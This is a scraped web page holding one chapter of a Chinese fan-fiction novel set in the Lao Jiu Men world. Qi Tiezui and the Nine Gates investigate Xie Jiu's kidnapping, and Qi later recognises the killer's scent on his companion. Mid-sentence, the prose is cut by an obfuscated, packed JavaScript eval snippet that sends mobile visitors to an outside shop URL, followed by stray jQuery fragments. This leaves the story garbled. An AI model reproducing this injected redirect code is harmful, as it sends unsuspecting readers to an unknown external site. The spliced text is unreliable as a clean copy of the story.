文趣网 > 都市小说 > [老九门]仙人不独行 > 6. 第六章
    (六)

    齐铁嘴今天心情本来就有些烦躁,听着不断响起的“哼唧”声忍不住说道:“今天你家这狗是怎么回事,一直在响?”

    吴老狗放下手中的鸡腿,大眼睛中带着几分疑惑:“这春天到了,小狗思春哼哼两声怎么了?”

    齐铁嘴差点被口水呛到,他还未来得及说什么,就看到解府管家表情惊慌的跑了进来:“五爷,五爷,我们爷被绑架了!”

    齐铁嘴和吴老狗相视一眼,都看到了惊讶:在长沙居然还有人敢对九门动手?

    “我们爷早上和朋友去日本餐馆,后来就失踪了,他一直没回来,已经派人去找了,佛爷也派了兵。还没有结果,特意向五爷您来借狗。”解家管家说道。

    齐铁嘴闭眼掐算,呢喃几句后睁开眼:“遇水则困,解在东方。有没有去码头找过?”

    “码头?”解家管家摇摇头:“小的这就去找四爷,码头是他的地界。”

    虽然算出的逢凶化吉的卦象,但不知为何齐铁嘴心中非常不安,他跟着东奔西跑忙活着,这种情绪一直到佛爷的府邸也没有消失。

    带着几分东北口音的年轻小兵走了进来:“报告佛爷,调查发现九爷隔壁包厢里的两位客人也神秘消失了,没有人见过他们离开的身影,他们的用餐时间和九爷重合。”

    “能否确定隔壁包厢内客人的身份?”张启山问道。

    “只知道是两个日本男人。”小兵答道。

    “在日本餐馆出这样的事,难道九爷是被日本人绑架了?”齐铁嘴猜测道。

    “城内寻找的人有收获吗?”张启山问道。

    “五爷已经带人去找了,四爷也开始在码头排查。”小兵说道。

    电话铃声响起,张启山拿起电话,表情阴沉了几分:“老九传消息回来了,他人在船上,目前在汉口。”

    解家管家闻言松了口气:“八爷,您算的真准。”

    “没事儿就好,没事儿就好。”齐铁嘴松了口气,提着的心总算放下了。

    解九回来时已经是两个时辰之后的事情了,这时候九门都已集齐。

    “被杀的那个叫土肥一郎,他明面上是个普通洋行职员,其实暗地里做中间人两头吃,许多钱都会经过他的手。当时我便察觉到了异样,想要去探寻一番,没想到被打晕了。”解九现在还觉得后颈隐隐作痛。

    “他没直接把你杀掉已经不错了,这人动作很利索,手法非常干净。”水蝗老四说道:“老子就好奇,他是怎么神不知鬼不觉没引起注意的。”

    狗五听的入神:“他选择把人放到日本商船上,这船是中途在汉口停顿,会直接驶向日本,这人是不想把事情在长沙闹开?”

    “日资银行从来不招中国人,知道土肥一郎帮人转移财产,这人一定和洋行有关系或是有生意往来。”解九说道。

    “也许他就是日本人,日本人那么坏手足相残也不让人意外,没准儿就是日本人窝里斗。”齐铁嘴说道:“或者是和日本人有仇,他虽然把九爷弄到船上,却没伤他性命。”

    “老九,土肥一郎被发现时是什么样的?”张启山问道。

    “伤口在喉咙,一刀致命,但我当时去隔壁时没有在屋内看到任何血迹,土肥一郎身上的血迹很少。”解九回忆道。

    “一点血迹都没有?”黑背老六摸了摸自己的刀:“这个人刀法一定很好,而且很擅长杀人,也杀过很多人。”

    黑背老六的话让其他人心中生出了几分寒意,霍三娘摸了摸胳膊:“没听说过长沙最近来了这样的狠角色啊?”

    半截李听到这么久还没讨论出什么,冷冷道:“除了这是个身手极好的练家子外行,还知道什么?”

    二月红看向沉思的青年,温声开口:“九爷,你还有什么线索吗?”

    “我觉得,她可能是个女人。”解九推了推眼镜,一句话将所有人的注意力吸引过去。

    齐铁嘴手中的茶水突然泛起波纹,他松开微微收紧的指节,低头喝茶掩饰表情一瞬间的不自然。

    “女人?在长沙城内能做到这一点的女人可不多。”吴老狗举起手里的小狗。

    霍三娘拨动了一下头发:“呵,你是觉得女人做不成这件事?”

    “我可没这么说过,我只是觉得把两个大男人弄到船上的需要很大的力气。”吴老狗举起双手和小狗。

    “理由。”半截李看向解九:“若是你看到她的脸,不会全须全尾回来。”

    “是气味。”解九闭上眼睛回忆着:“我记不起什么了,环境很复杂,气味也很复杂,但是我闻到了很特殊的香气,香草、檀木,甚至还带着几分皮革和烟熏味儿。”

    “难道你是被塞到箱子带到船上的,熏糊涂了吧,谁家娘们儿用这种香膏。”水蝗哈哈大笑起来。

    解九看向身边的人:“老八,你怎么看?”

    齐铁嘴放下茶杯:“我之前为你卜过一卦,算的是有惊无险。这事情起始于水,终止于岸,不是本地人的手笔,也不是冲着九门来的,九爷卷入其中是个意外。我觉得还是日本人做的,他们自己狗咬狗,万幸这件事没把长沙的水搅浑,佛爷您说是不?”

    “无论如何,这件事情要查清楚。”张启山起身:“都散了吧。”

    张启山路过齐铁嘴时停顿了一下:“老八,今天你辛苦了,留下吃饭吧。”

    吃完饭后,是张启山的亲兵开车送他回家的。

    齐铁嘴揉着肚子:“哎呦,今天的炖猪蹄可太好吃了。出门急今天摊子还没收,给我放这巷子口吧,我走两步消消食。”

    孤身走在空巷,齐铁嘴脸上的表情消失了,这让整个人那种充满亲和力的感觉都消失了,带着几分少见的冷峻与担忧。

    等到推开家门,看到屋内为他所留的灯光,齐铁嘴忍不住露出笑容。

    “合同签完,第一批货送上船了。我算过如果按照目前的生产力,等到最热的时候,赚的钱就能买一台制冰机了。”高澄锦展示自己的小小野心:“这样夏天就不会热了,厂里还能增产新品。”

    “今天的饭菜不合胃口吗?”高澄锦注意到今天对面人似乎食欲不振:“你不喜欢吃红烧牛排?”

    两个喜欢美食又喜欢享受的人在一起生活是这样的,齐铁嘴已经很久不知道什么叫做对付了,早饭啃两口萝卜的对付一下的日子恍若隔世。

    “怎么会不合胃口,这牛排咸香美味,火候功夫真是时候,软烂脱骨实在是太香了。”齐铁嘴拿起一旁暄软的大馒头咬了一口,丝毫看不出已经吃过一顿了。

    高澄锦拄着脸看眼前的人,青年脸上是少有的疑惑和担心,她的语气也多了几分小心

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942700|213965||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    翼翼:“我很少见你把情绪带回家,发生了什么吗?”

    齐铁嘴觉得自己的心好像是碗里的馒头,在那个家字出来的时候膨胀到让好像要将他撑死,炸开的程度,就好像七情六欲一瞬间充盈的要把他整个人填满了。

    高澄锦猜测他一定是遇到了很大的麻烦,大到让他没胃口吃下饭菜,就在她准备明天找小满好好问问的时候,她发现对面的青年笑了。

    那是一种傻乎乎但是发自内心开心的笑,甚至带着几分莫名的感染力:“确实遇到了点事情,一直忙活到晚上,不过已经解决了。”

    齐铁嘴收起笑容,语气认真:“最近长沙城不太平,有日本人失踪了,还有本地富商被绑,路上都是寻人的还有牵狗的,那日本人坏得很还有枪。澄锦,这几日没必要就不出门,在家休息休息。”

    “好,我会注意的。”高澄锦说道:“什么时候真正的太平才能降临呢?”

    那眉毛皱起的委屈弧度看的齐铁嘴觉得心脏被人揪住:“瑞礼丰订的衣裳做好了,我从店里取回来了,你不是一直很期待吗?”

    这个年代的女性流行穿旗袍,长沙城有很多出门的裁缝师傅,高澄锦做了很多件,闻言她的注意力转移了些,抱着带着转身向外走去。

    再次出现时,齐铁嘴楞在原地。

    旗袍的颜色是清新的浅黄,衬得她的眉眼都温柔了几分,传统的如意襟配的是绣小珍珠的镂空面料袖子,齐铁嘴看到她肩上的红痣后立刻挪开眼睛。

    “我觉得,无论是谁穿上旗袍后都会看起来很温柔端庄。”高澄锦注意到这家伙的耳朵好像有些红,她低头看了眼自己,难道说这条收腰的旗袍对民国人来说太超前了:“腰线收的太紧,不好看吗?”

    听出了话语中明显的不确定和低落,齐铁嘴又把视线挪了回来:“怎么会不好看呢,你穿什么都好看。听说北平那现在正流行旗袍收腰,我就是第一次见你穿旗袍,一下子有点不习惯。”

    高澄锦向前走了两步,她发现他的脖子都红了,再逗下去她觉得不太好:“我还是换回来吧。”

    “不要。”齐铁嘴说完之后反应过来自己有点失态,他放慢语速:“长沙的姑娘都这么穿,我就是觉得你的衣裳还是太少了。听说九如斋进了新布料,明天咱们就去做十件八件。”

    齐铁嘴个子很高,此刻却后背紧贴着椅子想要把自己藏起来,即便如此他也没有挪开眼睛。他的视线从领口的盘扣上略过,然后是她圆润的耳垂,最后对上那双明亮的眸子。

    高澄锦忍不住笑了起来:“齐情,看着我的时候你在想什么?”

    喉结不受控的上下滚动,齐铁嘴把脑袋里冒出的念头都压下去,声音都弱了几分:“我觉得你穿这身很漂亮,就是还缺些首饰。”

    “我不喜欢戴首饰,这让我有种被束缚感。”高澄锦看到了青年脸上的疲惫:“你累了,今晚早点休息吧。”

    发尾在面前甩过的瞬间,齐铁嘴有种怅然若失的感觉。

    他向前撑起身体,闻到了类似柑橘的果香,然后是岩兰草的味道,他不确定的又嗅了嗅,好像有种皮革和烟味儿。

    旗袍美人靠在楼梯上:“我喷了一点新买的香水儿,这味道好闻吧,是不是让人很难忘?”

    齐铁嘴提着的心终于死了,他长舒口气点了点头。